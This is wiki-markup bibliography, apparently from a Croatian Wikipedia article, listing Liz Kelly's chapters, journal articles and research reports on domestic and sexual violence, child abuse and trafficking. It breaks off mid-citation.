* {{Citation|last=Kelly|first=Liz|contribution=The interconnectedness of domestic violence and child abuse: challenges for research, policy and practice|editor1=Mullender|title=Children living with domestic violence: putting men's abuse of women on the child care agenda|publisher=Whiting & Birch.|place=London Concord, Massachusetts|year=1994|isbn=9781871177725|postscript=.}} * {{Citation|last=Kelly|first=Liz|contribution='It's everywhere': sexual violence as a continuum|editor1=Jackson|title=Feminism and sexuality: a reader|pages=191–206|publisher=Columbia University Press|place=New York|year=1996|isbn=9780231107082|postscript=.}} * {{Citation|last=Kelly|first=Liz|contribution=Tensions and possibilities: enhancing informal responses to domestic violence|editor1=Edleson|title=Future interventions with battered women and their families|pages=[https://archive.org/details/futureinterventi0000edle/page/67 67–86]|publisher=[[Sage Publications|Sage]]|place=Thousand Oaks, California|series=Sage Series on Violence Against Women|year=1996|isbn=9780803959453|postscript=.|url=https://archive.org/details/futureinterventi0000edle/page/67}} * {{Citation|last=Kelly|first=Liz|last2=Regan|first2=Linda|last3=Burton|first3=Sheila|contribution=Beyond victim or survivor: sexual violence, identity and feminist theory and practice|editor1=Adkins|title=Sexualizing the social: power and the organization of sexuality|pages=77–101|publisher=St. Martin's Press|place=New York|year=1996|isbn=9780312160258|postscript=.}} * {{Citation|last=Kelly|first=Liz|last2=Radford|first2=Jill|contribution=Sexual violence against women and girls: an approach to an international overview|editor1=Dobash|title=Rethinking violence against women|pages=[https://archive.org/details/rethink_xxx_1998_00_1119/page/53 53–76]|publisher=[[Sage Publications|Sage]]|place=Thousand Oaks, California|series=Sage Series on Violence Against Women|year=1998|isbn=9780761911876|postscript=.|url=https://archive.org/details/rethink_xxx_1998_00_1119/page/53}} * {{Citation|last=Kelly|first=Liz|contribution=The global context: Wars against women: sexual violence, sexual politics and the militarised state|editor1=Jacobs|title=States of conflict: gender, violence, and resistance|pages=[https://archive.org/details/statesofconflict00susi/page/45 45–65]|publisher=Zed Books|place=London New York|year=2000|isbn=9781856496568|postscript=.|url=https://archive.org/details/statesofconflict00susi/page/45}} [http://web.mit.edu/end_violence/Articles/Wars%20Against%20Women.pdf Pdf.] * {{Citation|last=Kelly|editor-last=Coy|last2=Coy|first2=Maddy|last3=Horvath|first3=Miranda A.H.|authorlink2=Maddy Coy|contribution=Troubling notions of male entitlement: men consuming, boasting and confessing about paying for sex|first=Liz|editor-link=Maddy Coy|editor-first=Maddy|title=Prostitution, harm and gender inequality: theory, research and policy|publisher=Ashgate|pages=121–140|place=Farnham, Surrey, England Burlington, Vermont|year=2012|isbn=9781409405450|postscript=.}} * {{Citation|last=Kelly|first=Liz|contribution=Sex, sexuality and child sexual abuse|editor-last=Wild|editor-first=Jim|title=Exploiting childhood: how fast food, material obsession and porn culture are creating new forms of child abuse|pages=145–148|publisher=Jessica Kingsley Publishers|place=London|year=2013|isbn=9780857007421|postscript=.}} * {{Citation|last=Kelly|first=Liz|last2=Westmarland|first2=Nicole|authorlink2=Nicole Westmarland|contribution=New approaches to assessing effectiveness and outcomes of domestic violence perpetrator programs|editor1=Johnson|title=Critical issues on violence against women: international perspectives and promising strategies|pages=183–194|publisher=Routledge|place=London|year=2015|isbn=9781135006037|postscript=.}} * {{Citation|last=Kelly|first=Liz|last2=Coy|first2=Maddy|last3=Dustin|first3=Holly|authorlink2=Maddy Coy|contribution=A feminist "epistemic community" reshaping public policy: a case study of the End Violence Against Women Coalition|editor1=Johnson|title=Critical issues on violence against women: international perspectives and promising strategies|pages=244–257|publisher=Routledge|place=London|year=2015|isbn=9781135006037|postscript=.}} === Članci u časopisima === * {{Citiranje časopisa|last=Kelly|first=Liz|last2=Radford|first2=Jill|date=December 1990|title='Nothing really happened': the invalidation of women's experiences of sexual violence|journal=[[Critical Social Policy]]|publisher=[[SAGE Publications|Sage]]|volume=10|issue=30|pages=39–53|doi=10.1177/026101839001003003}} * {{Citiranje časopisa|last=Kelly|first=Liz|date=Summer 1991|title=Unspeakable acts: women who abuse|url=http://www.troubleandstrife.org/articles/issue-21/|journal=Trouble & Strife|publisher=Trouble & Strife Collective|volume=21|pages=13–20}} [http://www.troubleandstrife.org/issues/Issue21_FullScan.pdf Pdf.] * {{Citiranje časopisa|last=Kelly|first=Liz (guest editor)|last2=Kennedy|first2=Margaret (guest editor)|date=December 1992|title=Inclusion not exclusion|url=https://archive.org/details/sim_child-abuse-review_1992-12_1_3/page/147|journal=[[Child Abuse Review]]|publisher=[[Wiley-Blackwell|Wiley]]|volume=1|issue=3|pages=147–149|doi=10.1002/car.2380010303|doi-access=free}} * {{Citiranje časopisa|last=Kelly|first=Liz|date=December 1992|title=The connections between disability and child abuse: a review of the research evidence|url=https://archive.org/details/sim_child-abuse-review_1992-12_1_3/page/157|journal=[[Child Abuse Review]]|publisher=[[Wiley-Blackwell|Wiley]]|volume=1|issue=3|pages=157–167|doi=10.1002/car.2380010305}} * {{Citiranje časopisa|last=Kelly|first=Liz|date=December 1992|title=Can't hear or won't hear? — the evidential experience of children with disabilities|url=https://archive.org/details/sim_child-abuse-review_1992-12_1_3/page/188|journal=[[Child Abuse Review]]|publisher=[[Wiley-Blackwell|Wiley]]|volume=1|issue=3|pages=188–190|doi=10.1002/car.2380010311}} * {{Citiranje časopisa|last=Kelly|first=Liz|date=Summer 1996|title=Weasel words: pedophiles and the cycle of abuse|url=http://www.troubleandstrife.org/articles/issue-33/weasel-words-paedophiles-and-the-cycle-of-abuse/|journal=Trouble & Strife|publisher=Trouble & Strife Collective|volume=33|pages=44–49}} [http://www.troubleandstrife.org/issues/Issue33_FullScan.pdf Pdf.] * {{Citiranje časopisa|last=Kelly|first=Liz|last2=Regan|first2=Linda|date=January 2000|title=Sexual exploitation of children in Europe: Child pornography|journal=[[Journal of Sexual Aggression]]|publisher=[[Taylor and Francis]]|volume=6|issue=1–2|pages=6–28|doi=10.1080/13552600008413307}} * {{Citiranje časopisa|last=Liz|first5=Ellen|pages=17–26|issue=1|volume=14|publisher=[[Taylor and Francis]]|journal=Practice|title=How do children understand and cope with domestic violence?|date=January 2002|last5=Malos|first=Kelly|first4=Umme|last4=Imam|first3=Gill|last3=Hague|author-link2=Audrey Mullender|first2=Audrey|last2=Mullender|doi=10.1080/09503150208414289}} * {{Citiranje časopisa|last=Kelly|first=Liz|date=January 2003|title=The wrong debate: reflections on why force is not the key issue with respect to trafficking in women for sexual exploitation|journal=Feminist Review|publisher=[[Palgrave Macmillan]]|volume=73|issue=1|pages=139–144|doi=10.1057/palgrave.fr.9400086|jstor=1396003}} * {{Citiranje časopisa|last=Kelly|first=Liz|date=September 2004|title=The perils of inclusion and exclusion: international debates on the status of trafficked women as victims|journal=[[International Review of Victimology]]|publisher=[[Sage Publications|Sage]]|volume=11|issue=1|pages=33–47|doi=10.1177/026975800401100103}} * {{Citiranje časopisa|last=Kelly|first=Liz|date=January 2005|title="You can find anything you want": a critical reflection on research on trafficking in persons within and into Europe|journal=[[International Migration (journal)|International Migration]]|publisher=[[Wiley-Blackwell|Wiley]]|volume=43|issue=1–2|pages=235–265|doi=10.1111/j.0020-7985.2005.00319.x}} * {{Citiranje časopisa|last=Kelly|first=Liz|date=December 2005|title=Inside outsiders: Mainstreaming violence against women into human rights discourse and practice|journal=International Feminist Journal of Politics|publisher=[[Taylor and Francis]]|volume=7|issue=4|pages=471–495|doi=10.1080/14616740500284391}} * {{Citiranje časopisa|last=Kelly|first=Liz|last2=Horvath|first2=Miranda A.H.|date=March 2009|title=Multiple perpetrator rape: Naming an offence and initial research findings|journal=[[Journal of Sexual Aggression]]|publisher=[[Taylor and Francis]]|volume=15|issue=1|pages=83–96|doi=10.1080/13552600802653818}} * {{Citiranje časopisa|last=Kelly|first=Liz (guest editor)|last2=Pringle|first2=Keith (guest editor)|date=November 2009|title=Editorial: Gender and child harm|journal=Child Abuse Review|publisher=[[Wiley-Blackwell|Wiley]]|volume=18|issue=6|pages=367–371|doi=10.1002/car.1097}} * {{Citiranje časopisa|last=Kelly|title=Roads to nowhere? Mapping specialised violence against women services|doi=10.1177/1077801211398637|pages=404–425|issue=3|volume=17|publisher=[[SAGE Publications|Sage]]|journal=[[Violence Against Women (journal)|Violence Against Women]]|date=March 2011|first=Liz|first4=Jo|last4=Foord|first3=Janet|last3=Bowstead|author-link2=Maddy Coy|first2=Maddy|last2=Coy|pmid=26086982}} * {{Citiranje časopisa|last=Kelly|first=Liz|last2=Chambers|first2=Jemma C.|last3=Horvath|first3=Miranda A.H.|date=April 2013|title=Reconstructing and sequencing behaviours in multiple perpetrator rape|journal=Psychology, Crime & Law|publisher=[[Taylor and Francis]]|volume=19|issue=3|pages=253–275|doi=10.1080/1068316X.2011.631537}} * {{Citiranje časopisa|last=Kelly|first=Liz|last2=Westmarland|first2=Nicole|author-link2=Nicole Westmarland|date=September 2013|title=Why extending measurements of 'success' in domestic violence perpetrator programmes matters for social work|url=https://archive.org/details/sim_british-journal-of-social-work_2013-09_43_6/page/1092|journal=[[The British Journal of Social Work]]|publisher=[[Oxford University Press|Oxford Journals]]|volume=43|issue=6|pages=1092–1110|doi=10.1093/bjsw/bcs049|doi-access=free}} === Radovi === ==== Za Jedinicu za proučavanje zlostavljanja djece i žena ==== * {{Cite book|last=Kelly|first=Liz|title="What support?": an exploratory study of Council policy and practice, and local support services in the area of domestic violence within Hammersmith and Fulham: final report|last2=McGibbon|first2=Alison|last3=Cooper|first3=Libby|publisher=Child and Woman Abuse Studies Unit (CWASU), London Metropolitan University|year=1989|location=London|oclc=779176979}} * {{Cite book|last=Kelly|first=Liz|url=http://www.barnardos.org.uk/resources/research_and_publications/splintered-lives-sexual-exploitation-of-children-in-the-context-of-childrens-rights-and-child-protection/publication-view.jsp?pid=PUB-1374|title=Splintered lives: sexual exploitation of children in the context of children's rights and child protection|last2=Regan|first2=Linda|last3=Burton|first3=Sheila|last4=Wingfield|first4=Rachel|publisher=Child and Woman Abuse Studies Unit (CWASU), London Metropolitan University|year=1995|location=London|access-date=2021-09-25|archive-date=2019-10-26|archive-url=https://web.archive.org/web/20191026131159/http://www.barnardos.org.uk/resources/research_and_publications/splintered-lives-sexual-exploitation-of-children-in-the-context-of-childrens-rights-and-child-protection/publication-view.jsp?pid=PUB-1374}} [http://www.barnardos.org.uk/splintered_lives_report.pdf Pdf.] {{Webarchive|url=https://web.archive.org/web/20180417041702/http://www.barnardos.org.uk/splintered_lives_report.pdf |date=2018-04-17 }} * {{Cite book|last=Kelly|last5=Malos|author-link2=Audrey Mullender|location=London|isbn=9780907817659|year=1996|publisher=Women's Aid Federation England Ltd|first5=Ellen|first4=Gill|first=Liz|last4=Hague|first3=Thangam|last3=Debbonaire|first2=Audrey|last2=Mullender|title=Children, domestic violence and refuges: a study of needs and responses|author-link3=Thangam Debbonaire}} * {{Cite book|last=Kelly|first=Liz|title=Supporting women and challenging men: lessons from the Domestic Violence Intervention Project|publisher=Joseph Rowntree Foundation|others=With [[Julie Bindel]], Sheila Burton, Dianne Butterworth, Kate Cook and Linda Regan|year=1998|isbn=9781861340689|location=Bristol}} [http://www.jrf.org.uk/publications/lessons-domestic-violence-intervention-project Online.] {{Webarchive|url=https://web.archive.org/web/20130709225657/http://www.jrf.org.uk/publications/lessons-domestic-violence-intervention-project |date=2013-07-09 }} [http://www.jrf.org.uk/sites/files/jrf/spr338.pdf Pdf.] {{Webarchive|url=https://web.archive.org/web/20120526161057/http://www.jrf.org.uk/sites/files/jrf/spr338.pdf |date=2012-05-26 }} * {{Cite book|last=Kelly|first=Liz|url=http://www.cwasu.org/project_display.asp?pageid=PROJECTS&type=11&pagekey=55&year=1997|title=Young people's attitudes towards violence, sex and relationships: a survey and focus group study|last2=Regan|first2=Linda|last3=Burton|first3=Sheila|last4=Kitzinger|first4=Jenny|publisher=Child and Woman Abuse Studies Unit (CWASU), London Metropolitan University with the Media Research Unit, University of Glasgow|year=1998|location=London|access-date=2021-09-25|archive-date=2016-08-12|archive-url=https://web.archive.org/web/20160812202300/http://www.cwasu.org/project_display.asp?pageid=PROJECTS&type=11&pagekey=55&year=1997}} [http://www.vawpreventionscotland.org.uk/sites/www.vawpreventionscotland.org.uk/files/1998YPattitudes%20research.pdf Pdf from ''Zero Tolerance''.] * {{Cite book|last=Kelly|first=Liz|title=An exploratory study of the prevalence of sexual abuse in a sample of 16-21 year olds|last2=Regan|first2=Linda|last3=Burton|first3=Sheila|publisher=Child and Woman Abuse Studies Unit (CWASU), London Metropolitan University|year=1998|location=London|oclc=59908155}} [http://www.womenssupportproject.co.uk/vawtraining/content/childhoodsexualabuseincest/275/userfiles/file/resources/nationalresources/ExpStudyPrevSexualAbuse%284%29.pdf Pdf.] {{Webarchive|url=https://web.archive.org/web/20160305090014/http://www.womenssupportproject.co.uk/vawtraining/content/childhoodsexualabuseincest/275/userfiles/file/resources/nationalresources/ExpStudyPrevSexualAbuse(4).pdf |date=2016-03-05 }} * {{Cite book|last=Kelly|first=Liz|title=Legacies of abuse - 'Its more complicated than that': a qualitative study of the meaning and impacts of sexual abuse in childhood|last2=Regan|first2=Linda|last3=Burton|first3=Sheila|publisher=Child and Woman Abuse Studies Unit (CWASU), London Metropolitan University|year=1998|isbn=9781853772535|location=London}} End of award report to the [[:hr:Vijeće za ekonomska i društvena istraživanja|ESRC]]. * {{Cite book|last=Kelly|first=Liz|title=Teenage tolerance: the hidden lives of young Irish people: a study of young peoples experience and responses to violence and abuse|last2=Regan|first2=Linda|publisher=Dublin Women's Aid and the Child and Woman Abuse Studies Unit (CWASU), London Metropolitan University|year=1999|location=Dublin|oclc=779127847}} [http://www.womensaid.ie/campaigns/ourpubawarecamp.html Details online.] {{Webarchive|url=https://web.archive.org/web/20151201011339/http://www.womensaid.ie/campaigns/ourpubawarecamp.html |date=2015-12-01 }} * {{Cite book|last=Kelly|last5=Malos|id=L129251037|oclc=779177788|location=Swindon|year=1999|publisher=[[ESRC|ESRC Full Research Report]]|first5=Ellen|first4=Gill|first=Liz|last4=Hague|first3=Umme F.|last3=Iman|first2=Audrey|last2=Mullender|title=Children's needs coping strategies and understanding of woman abuse|url=http://www.esrc.ac.uk/my-esrc/grants/L129251037/read|author-link2=Audrey Mullender|access-date=2021-09-25|archive-date=2012-07-08|archive-url=https://web.archive.org/web/20120708130632/http://www.esrc.ac.uk/my-esrc/grants/L129251037/read}} * {{Cite book|last=Kelly|first5=Hilary|location=Bristol|isbn=9781861342454|year=2000|publisher=Joseph Rowntree Foundation|first6=Pam|last6=Lowe|last5=Abrahams|first=Liz|first4=Marianne|last4=Hester|first3=Catherine|last3=Humphreys|first2=Audrey|last2=Mullender|title=From good intentions to good practice: mapping services working with families where there is domestic violence|url=https://archive.org/details/fromgoodintentio0000unse|author-link2=Audrey Mullender}} [http://www.jrf.org.uk/publications/working-with-families-where-there-domestic-violence Online.] {{Webarchive|url=https://web.archive.org/web/20130709190946/http://www.jrf.org.uk/publications/working-with-families-where-there-domestic-violence |date=2013-07-09 }} [http://www.jrf.org.uk/sites/files/jrf/jr087-families-services-violence.pdf Pdf.] {{Webarchive|url=https://web.archive.org/web/20140710162718/http://www.jrf.org.uk/sites/files/jrf/jr087-families-services-violence.pdf |date=2014-07-10 }} * {{Cite book|last=Kelly|first=Liz|title=Rhetorics and realities: sexual exploitation of children in Europe|last2=Regan|first2=Linda|publisher=Child and Woman Abuse Studies Unit (CWASU), London Metropolitan University|year=2000|isbn=9781853773105|location=London}} * {{Cite book|last=Kelly|first=Liz|title=Challenging violence against women: the Canadian experience|url=https://archive.org/details/challengingviole0000hagu|last2=Mullender|first2=Audrey|last3=Hague|first3=Gill|publisher=Policy Press|year=2001|isbn=9781861342782|location=Bristol, UK|author-link2=Audrey Mullender}} * {{Cite book|last=Kelly|first=Liz|title=Good practice in medical responses to recently reported rape, especially forensic examinations: a briefing paper for the Daphne Strengthening the Linkages Project|last2=Regan|first2=Linda|publisher=Child and Woman Abuse Studies Unit (CWASU), London Metropolitan University for Rape Crisis Network Europe|year=2003|isbn=9780954480325|location=London}} * {{Cite book|last=Kelly|first=Liz|title=Achievements against the grain: self-defence training for women and girls in Europe|last2=Seith|first2=Corinna|publisher=Child and Woman Abuse Studies Unit (CWASU), London Metropolitan University for Rape Crisis Network Europe|year=2003|isbn=9780954480301|location=London}} * {{Cite book|last=Kelly|first=Liz|title=Rape: still a forgotten issue: briefing document for strengthening the linkages - consolidating the European Network Project|publisher=Child and Woman Abuse Studies Unit (CWASU), London Metropolitan University for Rape Crisis Network Europe|year=2003|isbn=9780954480332|location=London}} * {{Cite book|last=Kelly|first=Liz|title=Worth less or worth more? An evaluation of the Maze Marigold Project|last2=Regan|first2=Linda|last3=Wingfield|first3=Rachel|publisher=Child and Woman Abuse Studies Unit (CWASU), London Metropolitan University for YWCA|year=2003|isbn=9780954480318|location=London}} * {{Cite book|last=Kelly|first=Liz|title=A critical examination of responses to prostitution in four countries: Victoria; Australia; Ireland; the Netherlands; Sweden|last2=Bindel|first2=Julie|publisher=Child and Woman Abuse Studies Unit (CWASU), London Metropolitan University for Routes Out Partnership Board|year=2003|location=London|oclc=779173242|author-link2=Julie Bindel}} [http://www.popcenter.org/problems/street_prostitution/PDFs/Bindel&Kelly_2003.pdf Pdf.] {{Webarchive|url=https://web.archive.org/web/20160304120749/http://www.popcenter.org/problems/street_prostitution/PDFs/Bindel%26Kelly_2003.pdf |date=2016-03-04 }} * {{Cite book|last=Kelly|first=Liz|title='It's just like going to the supermarket': men buying sex in East London: report for Safe Exit Tower Hamlets|last2=Coy|first2=Maddy|last3=Horvarth|first3=Miranda|publisher=Child and Woman Abuse Studies Unit (CWASU), London Metropolitan University for Rape Crisis Network Europe|year=2007|isbn=9780954480356|location=London|author-link2=Maddy Coy}} [https://web.archive.org/web/20160305184803/http://embracedignity.org/uploads/DemandReportREAD.PDF Pdf.] * {{Cite book|last=Liz|first=Kelly|url=http://www.esrc.ac.uk/my-esrc/grants/RES-000-22-1679/read|title=Rape in the 21st Century; old behaviours, new contexts and emerging powers|last2=Horvarth|first2=Miranda|last3=Uzelac|first3=Gordana|last4=Lovett|first4=Jo|date=January 2007|publisher=Child and Woman Abuse Studies Unit (CWASU), London Metropolitan University for Rape Crisis Network Europe|location=London|access-date=2021-09-25|archive-date=2012-07-08|archive-url=https://web.archive.org/web/20120708210542/http://www.esrc.ac.uk/my-esrc/grants/RES-000-22-1679/read}} [http://www.esds.ac.uk/doc/5827%5Cmrdoc%5Cpdf%5C5827userguide.pdf Pdf.] {{Webarchive|url=https://web.archive.org/web/20151002165005/http://www.esds.ac.uk/doc/5827%5Cmrdoc%5Cpdf%5C5827userguide.pdf |date=2015-10-02 }} Funded by the [[:hr:Vijeće za ekonomska i društvena istraživanja|ESRC]]. * {{Cite book|last=Kelly|first=Liz|url=http://www.edf.org.uk/blog/evaw-from-the-outset-why-violence-should-be-a-priority-for-the-cehr/|title=From the outset: why violence should be a priority for the Commission for Equality and Human Rights|last2=Horvarth|first2=Miranda|date=June 2007|publisher=Child and Woman Abuse Studies Unit (CWASU), London Metropolitan University|location=London|access-date=2021-09-25|archive-date=2016-02-21|archive-url=https://web.archive.org/web/20160221001711/http://www.edf.org.uk/blog/evaw-from-the-outset-why-violence-should-be-a-priority-for-the-cehr/|url-status=dead}} [http://www.edf.org.uk/blog/wp-content/uploads/2007/06/From-the-outset-.pdf Pdf.] {{Webarchive|url=https://web.archive.org/web/20160304094854/http://www.edf.org.uk/blog/wp-content/uploads/2007/06/From-the-outset-.pdf |date=2016-03-04 }} Funded by Equal Opportunities Commission and the Roddick Foundation. * {{Cite book|last=Kelly|first=Liz|url=http://www.ccinform.co.uk/research/if-only-wed-known-an-exploratory-study-of-seven-intimate-partner-homicides-in-engleshire-final-report-to-the-engleshire-domestic-violence-homicide-review-group/|title='If only we'd known': an exploratory study of seven intimate partner homicides in Engleshire – final report to the Engleshire Domestic Violence Homicide Review Group|last2=Regan|first2=Linda|last3=Morris|first3=Anne|last4=Dibb|first4=Rebecca|date=July 2007|publisher=Child and Woman Abuse Studies Unit (CWASU), London Metropolitan University|location=London|access-date=2021-09-25|archive-date=2015-10-01|archive-url=https://web.archive.org/web/20151001150755/http://www.ccinform.co.uk/research/if-only-wed-known-an-exploratory-study-of-seven-intimate-partner-homicides-in-engleshire-final-report-to-the-engleshire-domestic-violence-homicide-review-group/}} [http://www.aafda.org.uk/Resources/if_only_we%27d_known.pdf Pdf.] {{Webarchive|url=https://web.archive.org/web/20151002040001/http://www.aafda.org.uk/Resources/if_only_we%27d_known.pdf |date=2015-10-02 }} * {{Cite book|last=Kelly|first=Liz|title=CEDAW thematic shadow report: violence against women in the UK: 2007|last2=Sen|first2=Purna|publisher=Child and Woman Abuse Studies Unit (CWASU), London Metropolitan University for CEDAW|year=2008|isbn=9780954480370|location=London}} [http://www2.ohchr.org/english/bodies/cedaw/docs/ngos/UKThematicReportVAW41.pdf Pdf.] * {{Cite book|last=Liz|first=Kelly|title=Nordic Baltic pilot project for the support, protection, safe return and rehabilitation of women victims of trafficking for sexual exploitation: Evaluation report|last2=Turner|first2=Jackie|date=September 2008|publisher=Child and Woman Abuse Studies Unit (CWASU), London Metropolitan University|location=London|citeseerx=10.1.1.511.3284}} * {{Cite book|last=Kelly|first=Liz|url=http://www.sccjr.ac.uk/publications/different-systems-similar-outcomes-tracking-attrition-in-reported-rape-cases-in-eleven-countries/|title=Different systems, similar outcomes? Tracking attrition in reported rape cases in eleven European countries (Country briefing: Scotland)|last2=Lovett|first2=Jo|last3=Burman|first3=Michele|date=May 2009|publisher=Child and Woman Abuse Studies Unit (CWASU), London Metropolitan University|location=London|access-date=2021-09-25|archive-date=2021-09-17|archive-url=https://web.archive.org/web/20210917041443/https://www.sccjr.ac.uk/publications/different-systems-similar-outcomes-tracking-attrition-in-reported-rape-cases-in-eleven-countries/}} {{ISBN|9780954480394}} [http://www.sccjr.ac.uk/wp-content/uploads/2012/11/Daphne_Scotland_Briefing-__Different_Systems,_similar_outcomes%283%29.pdf Pdf.] [http://kunskapsbanken.nck.uu.se/nckkb/nck/publik/fil/visa/197/different Final report, pdf.] Funded by the European Commission Daphne II Programme. * {{Cite book|last=Kelly|first=Liz|url=http://www.ccinform.co.uk/research/a-missing-link-an-exploratory-study-of-the-connections-between-non-consensual-sex-and-teenage-pregnancy/|title=A missing link? An exploratory study of the connections between non-consensual sex and teenage pregnancy|last2=Coy|first2=Maddy|last3=Lee|first3=Kerry|last4=Roach|first4=Colleen|date=July 2010|publisher=Child and Woman Abuse Studies Unit (CWASU), London Metropolitan University|location=London|author-link2=Maddy Coy|access-date=2021-09-25|archive-date=2015-10-01|archive-url=https://web.archive.org/web/20151001155011/http://www.ccinform.co.uk/research/a-missing-link-an-exploratory-study-of-the-connections-between-non-consensual-sex-and-teenage-pregnancy/}} * {{Cite book|last=Kelly|first=Liz|title=Realising rights: case studies on state responses to violence against women and children in Europe|last2=Hagemann-White|first2=Carol|last3=Meysen|first3=Thomas|last4=Römkens|first4=Renée|publisher=Child and Woman Abuse Studies Unit (CWASU), London Metropolitan University|year=2011|isbn=9780954480387|location=London}} [https://www.tilburguniversity.edu/upload/0669e981-140a-4b05-acc2-5a2428743222_apRRS.pdf Pdf.] {{Webarchive|url=https://web.archive.org/web/20160305010330/https://www.tilburguniversity.edu/upload/0669e981-140a-4b05-acc2-5a2428743222_apRRS.pdf |date=2016-03-05 }} * {{Cite book|last=Kelly|first=Liz|url=http://www.ccrm.org.uk/index.php?option=com_content&view=article&id=258&Itemid=323|title=Into the foreground: an evaluation of the Jacana Parenting Programme|last2=Coy|first2=Maddy|last3=Thiara|first3=Ravi K.|last4=Phillips|first4=Ruth|publisher=Child and Woman Abuse Studies Unit (CWASU), London Metropolitan University|year=2011|location=London|author-link2=Maddy Coy|access-date=2021-09-25|archive-date=2021-07-27|archive-url=https://web.archive.org/web/20210727063331/http://www.ccrm.org.uk/index.php?option=com_content&view=article&id=258&Itemid=323|url-status=dead}} [http://www.ccrm.org.uk/images/docs/10.2ainto%20the%20foreground%20-%20jacana%20evaluation%20report.pdf Pdf.] {{Webarchive|url=https://web.archive.org/web/20210727063333/http://www.ccrm.org.uk/images/docs/10.2ainto%20the%20foreground%20-%20jacana%20evaluation%20report.pdf |date=2021-07-27 }} * {{Cite book|last=Kelly|first=Liz|title=Everywhere and anywhere: a focus group study on domestic violence information and awareness raising|last2=Regan|first2=Linda|last3=Mouj|first3=Anjum|last4=Lovett|first4=Jo|publisher=Child and Woman Abuse Studies Unit (CWASU), London Metropolitan University for the Trust for London and the Henry Smith Charity|year=2011|location=London}} Unpublished report, parts of which are quoted in [http://www.henrysmithcharity.org.uk/documents/IslandsintheStreammainreport2011.pdf this pdf.] {{Webarchive|url=https://web.archive.org/web/20160817083633/http://henrysmithcharity.org.uk/documents/IslandsintheStreammainreport2011.pdf |date=2016-08-17 }} * {{Cite book|last=Kelly|first=Liz|url=http://www.ccinform.co.uk/research/boys-think-girls-are-toys-an-evaluation-of-the-nia-project-prevention-programme-on-sexual-exploitation/|title=Boys think girls are toys?: An evaluation of the NIA Project Prevention Programme on sexual exploitation|last2=Coy|first2=Maddy|last3=Thiara|first3=Ravi K.|date=May 2011|publisher=Child and Woman Abuse Studies Unit (CWASU), London Metropolitan University|location=London|author-link2=Maddy Coy|access-date=2015-09-30|archive-url=https://web.archive.org/web/20151001152001/http://www.ccinform.co.uk/research/boys-think-girls-are-toys-an-evaluation-of-the-nia-project-prevention-programme-on-sexual-exploitation/|archive-date=2015-10-01|url-status=dead}} {{Webarchive|url=https://web.archive.org/web/20151001152001/http://www.ccinform.co.uk/research/boys-think-girls-are-toys-an-evaluation-of-the-nia-project-prevention-programme-on-sexual-exploitation/ |date=2015-10-01 }} [http://www.niaendingviolence.org.uk/perch/resources/boys-think-girls-are-toys-nia-project-evaluation-report.pdf Pdf.] {{Webarchive|url=https://web.archive.org/web/20160305001403/http://www.niaendingviolence.org.uk/perch/resources/boys-think-girls-are-toys-nia-project-evaluation-report.pdf |date=2016-03-05 }} * {{Cite book|last=Kelly|first5=Ava|archive-date=2015-10-02|archive-url=https://web.archive.org/web/20151002011004/http://www.childrenscommissioner.gov.uk/publications/sex-without-consent-i-suppose-rape-how-young-people-england-understand-sexual-consent|access-date=2015-09-30|author-link2=Maddy Coy|location=London|publisher=Child and Woman Abuse Studies Unit (CWASU), London Metropolitan University|date=November 2013|last5=Kanyeredzi|first=Liz|first4=Maria|last4=Garner|first3=Fiona|last3=Elvines|first2=Maddy|last2=Coy|title="Sex without consent, I suppose that is rape": How young people in England understand sexual consent|url=http://www.childrenscommissioner.gov.uk/publications/sex-without-consent-i-suppose-rape-how-young-people-england-understand-sexual-consent|url-status=dead}} {{Webarchive|url=https://web.archive.org/web/20151002011004/http://www.childrenscommissioner.gov.uk/publications/sex-without-consent-i-suppose-rape-how-young-people-england-understand-sexual-consent |date=2015-10-02 }} [https://web.archive.org/web/20151002010238/http://www.childrenscommissioner.gov.uk/sites/default/files/publications/Sex_without_consent_I_suppose_that_is_rape_newprint.pdf Pdf.] A report commissioned for the Office of the Children’s Commissioner's Inquiry into Child Sexual Exploitation in Gangs and Groups. * {{Cite book|last=Kelly|first=Liz|url=http://solacewomensaid.org/press-release-finding-the-costs-of-freedom/|title=Finding the cost of freedom|last2=Sharp|first2=Nicola|last3=Klein|first3=Renate|publisher=Solace Women's Aid / Child and Woman Abuse Studies Unit (CWASU), London Metropolitan University|year=2014|location=London|access-date=2021-09-25|archive-date=2016-06-17|archive-url=https://web.archive.org/web/20160617212438/http://solacewomensaid.org/press-release-finding-the-costs-of-freedom/}} [http://solacewomensaid.org/wp-content/uploads/2014/06/SWA-Finding-Costs-of-Freedom-Report.pdf Pdf.] {{Webarchive|url=https://web.archive.org/web/20160929025935/http://solacewomensaid.org/wp-content/uploads/2014/06/SWA-Finding-Costs-of-Freedom-Report.pdf |date=2016-09-29 }} ==== Ministarstvo unutarnjih poslova Ujedinjenog Kraljevstva ==== * {{Cite book|last=Kelly|first5=Kate|id=193|location=London|isbn=9781840821376|year=1999|publisher=Home Office, Research Studies|first6=Linda|last6=Regan|last5=Cook|first=Liz|first4=Dianne|last4=Butterworth|first3=Sheila|last3=Burton|first2=Julie|last2=Bindel|title=Domestic violence matters: an evaluation of a development project|url=https://archive.org/details/domesticviolence0000kell_t0a6|author-link2=Julie Bindel}} [http://webarchive.nationalarchives.gov.uk/20110218135832/rds.homeoffice.gov.uk/rds/pdfs/hors193.pdf Pdf.] * {{Cite book|last=Kelly|first=Liz|title=Stopping traffic: exploring the extent of, and responses to trafficking in women for sexual exploitation in the UK|last2=Regan|first2=Linda|publisher=Home Office, Policing and Reducing Crime Unit|year=2000|isbn=9781840824667|location=London|id=125}} [http://www.ieei.com.pt/traficodepessoas/images/documentos/stopping.pdf Pdf.] {{Webarchive|url=https://web.archive.org/web/20160304083147/http://www.ieei.com.pt/traficodepessoas/images/documentos/stopping.pdf |date=2016-03-04 }} * {{Cite book|last=Kelly|first=Liz|title=Sexual Assault Referral Centres: developing good practice and maximising potentials|last2=Regan|first2=Linda|last3=Lovett|first3=Jo|publisher=Home Office Research Study|year=2004|isbn=9781844732869|location=London|id=285}} [http://webarchive.nationalarchives.gov.uk/20110218135832/http://rds.homeoffice.gov.uk/rds/pdfs04/hors285.pdf Pdf.] * {{Cite book|last=Kelly|first=Liz|title=Forensic nursing an option for improving responses to reported rape and sexual assault|last2=Regan|first2=Linda|last3=Lovett|first3=Jo|publisher=Home Office Development and Practice|year=2004|isbn=9781844733187|location=London|id=31}} [http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.183.8948&rep=rep1&type=pdf Pdf.] * {{Cite book|last=Kelly|first=Liz|title=A gap or a chasm?: Attrition in reported rape cases|last2=Regan|first2=Linda|last3=Lovett|first3=Jo|publisher=Home Office Research, 